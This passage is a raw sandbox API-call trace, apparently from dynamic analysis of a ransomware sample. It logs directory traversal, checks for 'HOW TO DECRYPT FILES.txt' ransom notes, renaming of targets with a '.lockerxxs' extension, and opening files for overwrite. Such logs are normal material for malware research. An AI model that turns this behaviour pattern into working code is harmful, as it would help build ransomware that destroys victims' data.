lpString2="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 1 [0092.132] lstrcmpiA (lpString1="", lpString2="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned -1 [0092.132] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*.*") returned="*.*" [0092.132] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\" [0092.132] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\") returned="" [0092.132] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\HOW TO DECRYPT FILES.txt" [0092.132] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\how to decrypt files.txt")) returned 0x2020 [0092.132] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\", lpString2="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" [0092.132] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe5bc2f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x41d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="D42CC0~1")) returned 1 [0092.132] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.132] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 1 [0092.132] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 1 [0092.133] lstrcmpiA (lpString1="", lpString2="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned -1 [0092.133] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" [0092.133] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\" [0092.133] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\") returned="" [0092.133] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\HOW TO DECRYPT FILES.txt" [0092.133] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\how to decrypt files.txt")) returned 0x2020 [0092.133] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\", lpString2="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" [0092.133] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 1 [0092.133] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.133] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HOW TO DECRYPT FILES.txt") returned -1 [0092.133] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HOW TO DECRYPT FILES.txt") returned 0 [0092.133] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 0 [0092.134] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0092.134] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xfff64e40, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff64e40, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x61004d, dwReserved1=0x680063, cFileName="S-1-5-18", cAlternateFileName="")) returned 0 [0092.134] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0092.134] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x65004b, dwReserved1=0x730079, cFileName="RSA", cAlternateFileName="")) returned 0 [0092.134] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0092.134] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720043, dwReserved1=0x700079, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1 [0092.134] lstrcmpA (lpString1=".", lpString2="Device Stage") returned -1 [0092.134] lstrcmpA (lpString1="..", lpString2="Device Stage") returned -1 [0092.134] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\*.*") returned="*.*" [0092.134] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\", lpString2="Device Stage" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage") returned="C:\\Users\\All Users\\Microsoft\\Device Stage" [0092.134] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x38646439, dwReserved1=0x3964372d, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.135] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.135] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x39640000, cFileName="..", cAlternateFileName="")) returned 1 [0092.135] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.135] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.135] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Device", cAlternateFileName="")) returned 1 [0092.135] lstrcmpA (lpString1=".", lpString2="Device") returned -1 [0092.135] lstrcmpA (lpString1="..", lpString2="Device") returned -1 [0092.135] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\*.*") returned="*.*" [0092.135] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\", lpString2="Device" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device" [0092.135] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.136] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.136] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.136] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.136] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.136] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfff64e40, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff64e40, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="{113527a4-45d4-4b6f-b567-97838f1b04b0}", cAlternateFileName="{11352~1")) returned 1 [0092.136] lstrcmpA (lpString1=".", lpString2="{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned -1 [0092.136] lstrcmpA (lpString1="..", lpString2="{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned -1 [0092.136] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*.*") returned="*.*" [0092.136] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\", lpString2="{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0092.136] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfff64e40, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff64e40, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.136] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.136] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfff64e40, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff64e40, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.137] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.137] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.137] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f07a66f, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f07a66f, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76b3ce5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0092.137] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.137] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="background.png") returned 1 [0092.137] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="background.png") returned 1 [0092.137] lstrcmpiA (lpString1="", lpString2="background.png") returned -1 [0092.137] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*.*") returned="*.*" [0092.137] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0092.137] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="" [0092.137] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\HOW TO DECRYPT FILES.txt" [0092.137] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\how to decrypt files.txt")) returned 0x20 [0092.137] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\", lpString2="background.png" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" [0092.137] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" [0092.138] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" [0092.138] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", lpString2="." | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png.") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png." [0092.138] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png.lockerxxs") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png.lockerxxs" [0092.138] CreateFileA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0092.138] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7c5b0d9, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xc7c5b0d9, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xc7c5b0d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb61, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0092.138] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.138] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="behavior.xml") returned 1 [0092.138] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="behavior.xml") returned 1 [0092.138] lstrcmpiA (lpString1="", lpString2="behavior.xml") returned -1 [0092.138] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png") returned="background.png" [0092.138] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0092.138] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="" [0092.138] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\HOW TO DECRYPT FILES.txt" [0092.138] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\how to decrypt files.txt")) returned 0x20 [0092.139] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\", lpString2="behavior.xml" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" [0092.139] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f07a66f, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f07a66f, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76b3ce5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xadc8, dwReserved0=0x300062, dwReserved1=0x5c007d, cFileName="device.png", cAlternateFileName="")) returned 1 [0092.139] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.139] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="device.png") returned 1 [0092.139] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="device.png") returned 1 [0092.139] lstrcmpiA (lpString1="", lpString2="device.png") returned -1 [0092.139] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml") returned="behavior.xml" [0092.139] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0092.139] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="" [0092.139] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\HOW TO DECRYPT FILES.txt" [0092.139] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\HOW TO DECRYPT FILES.txt" (normalized: 